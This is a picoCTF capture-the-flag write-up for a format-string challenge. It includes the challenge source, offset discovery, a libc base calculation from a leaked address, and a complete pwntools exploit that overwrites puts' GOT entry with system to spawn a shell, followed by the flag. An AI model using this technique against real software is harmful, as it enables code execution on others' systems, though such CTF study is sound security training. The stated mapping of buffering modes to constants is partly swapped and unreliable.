It’s a 64 bit dynamically linked ELF.
file format-string-3
format-string-3: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter ./ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=54e1c4048a725df868e9a10dc975a46e8d8e5e92, not stripped
Here’s the checksec result.
checksec format-string-3
[*] '/home/picoctf/pwn/format_string3/format-string-3'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x3ff000)
RUNPATH: b'.'
SHSTK: Enabled
IBT: Enabled
Stripped: No
In this level picoCTF gave us the libc
and ld
.
file libc.so.6
libc.so.6: ELF 64-bit LSB shared object, x86-64, version 1 (GNU/Linux), dynamically linked, interpreter /usr/lib/ld-linux-x86-64.so.2, BuildID[sha1]=8bfe03f6bf9b6a6e2591babd0bbc266837d8f658, for GNU/Linux 4.4.0, stripped
file ld-linux-x86-64.so.2
ld-linux-x86-64.so.2: ELF 64-bit LSB shared object, x86-64, version 1 (GNU/Linux), static-pie linked, BuildID[sha1]=6ebd6e95dffa2afcbdaf7b7c91103b23ecf2b012, stripped
I ran strings
to check which version of Ubuntu the binary was built on.
It looks like it was built on Ubuntu 22.04
, and used glibc 2.38
.
strings format-string-3 | grep GCC
GCC: (Ubuntu 11.4.0-1ubuntu1~22.04) 11.4.0
strings libc.so.6 | grep GNU
GNU C Library (GNU libc) stable release version 2.38.
Compiled by GNU CC version 13.2.1 20230801.
GCC: (GNU) 13.2.1 20230801
At first, I couldn’t run the binary, likely because I’m using a newer libc
(Ubuntu 24.04) and ld
than what the binary expected.
To fix this, I ran pwninit.
./format-string-3
Howdy gamers!
Okay I'll be nice. Here's the address of setvbuf in libc: 0x7f94d24313f0
hwkim301
hwkim301
/bin/sh
picoCTF also provided us with the C Code.
#include <stdio.h>
#define MAX_STRINGS 32
char *normal_string = "/bin/sh";
void setup() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
setvbuf(stderr, NULL, _IONBF, 0);
}
void hello() {
puts("Howdy gamers!");
printf("Okay I'll be nice. Here's the address of setvbuf in libc: %p\n", &setvbuf);
}
int main() {
char *all_strings[MAX_STRINGS] = {NULL};
char buf[1024] = {'\0'};
setup();
hello();
fgets(buf, 1024, stdin);
printf(buf);
puts(normal_string);
return 0;
}
The code is pretty simple, it prints the memory address of the setvbuf
function in libc.
There’s also a format string vulnerability.
printf(buf);
You can see this code a lot when solving pwnable problems, but I usually ignored it.
I thought it would be worth explaining once.
setvbuf(stderr, NULL, _IONBF, 0);
There are 3 types of buffering(unbuffered, block buffered, and line buffered).
1. Unbuffered (_IONBF)
Information appears on the destination file or terminal as soon as it’s written.
Corresponds to constant 2
.
2. Block buffered (_IOFBF)
many characters are saved up and written as a block
Corresponds to constant value 1
.
3. Line buffered (_IOLBF)
characters are saved up until a newline is output or input is read from any stream attached to a terminal device (typically stdin).
Corresponds to constant value 0
.
Normally all files are block buffered.
You can read this reddit post on why the setvbuf
function is used frequently in pwnable challenges.
The 38th
pointer on the stack points to my input.
./format-string-3
Howdy gamers!
Okay I'll be nice. Here's the address of setvbuf in libc: 0x7f1bfe4e13f0
%p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p
0x7f1bfe63f963 0xfbad208b 0x7fff250f93e0 0x1 (nil) (nil) (nil) (nil) (nil) (nil) (nil) (nil) (nil) (nil) (nil) (nil) (nil) (nil) (nil) (nil) (nil) (nil) (nil) (nil) (nil) (nil) (nil) (nil) (nil) (nil) (nil) (nil) (nil) (nil) (nil) (nil) (nil) 0x7025207025207025 0x2520702520702520 0x2070252070252070
/bin/sh
Since typing a whole bunch of %p
s is inconvenient and clunky, you can automate the process of finding the offset.
I got the code from here.
from pwn import *
context.arch = "amd64"
def send_payload(payload):
p = process("./format-string-3")
p.sendline(payload)
l = p.recvall()
p.close()
return l
offset = FmtStr(send_payload).offset
info(f"offset = {offset}")
# [*] Found format string offset: 38
# [*] offset = 38
We now know the offset, and to calculate the libc base we need to subtract the setvbuf
offset from the memory address of setvbuf
.
Why would you do that, even if the binary isn’t compiled with PIE
?
Well the libc is almost always compiled with PIE
, in order to calculate the setvbuf
address from libc we need to subtract the offset from the setvbuf
itself to calculate the base address of libc.
checksec libc.so.6
[*] '/home/picoctf/pwn/format_string3/libc.so.6'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
SHSTK: Enabled
IBT: Enabled
After calculating the base address of libc we need to overwrite a GOT
entry of a function that will be called in the future.
puts(normal_string);
Overwriting the GOT
entry of puts
to the system
function in libc will give us the shell.
What is the GOT
and PLT
?
You should read this.
Explaining thee GOT
and PLT
in detail is a bit hard for me…
In short, they are mechanisms that facilitate dynamic linking. For this exploit, we just need to know that the GOT
contains the addresses of library functions, and because of Partial RELRO
, we can overwrite them.
We can overwrite the GOT
entry of the puts
function because it will be called right after the printf
function call.
payload = fmtstr_payload(38, {e.got['puts']: libc.symbols['system']})
Another interesting point is that although Python3 doesn’t have a default dotdict
data structure the pwntools ELF
class allows you to use elf.symbols
to reference variables via the dotdict.
I think using a normal dict
would be Pythonic since it works with other code as well but if you’re a ctfer using the dotdict
would be a good choice too since it does seem a bit more smooth.
Here’s the exploit code.
Exploit Code
from pwn import *
context.arch = "amd64"
r = remote("rhea.picoctf.net", 50053)
e = ELF("./format-string-3")
libc = ELF("./libc.so.6")
setvbuf = r.recvuntil(b"libc: ")
libc.address = int(r.recvline(), 16) - libc.symbols['setvbuf']
payload = fmtstr_payload(38, {e.got['puts']: libc.symbols['system']})
r.sendline(payload)
r.interactive()
# picoCTF{G07_G07?_6d11af9f}
Reference writeup
Extra reading
ELF symbols and dotdicts in pwntools
https://github.com/Gallopsled/pwntools/blob/9ed93a5281/pwnlib/elf/elf.py#L231
https://github.com/Gallopsled/pwntools/blob/9ed93a5281/pwnlib/elf/elf.py#L140-L176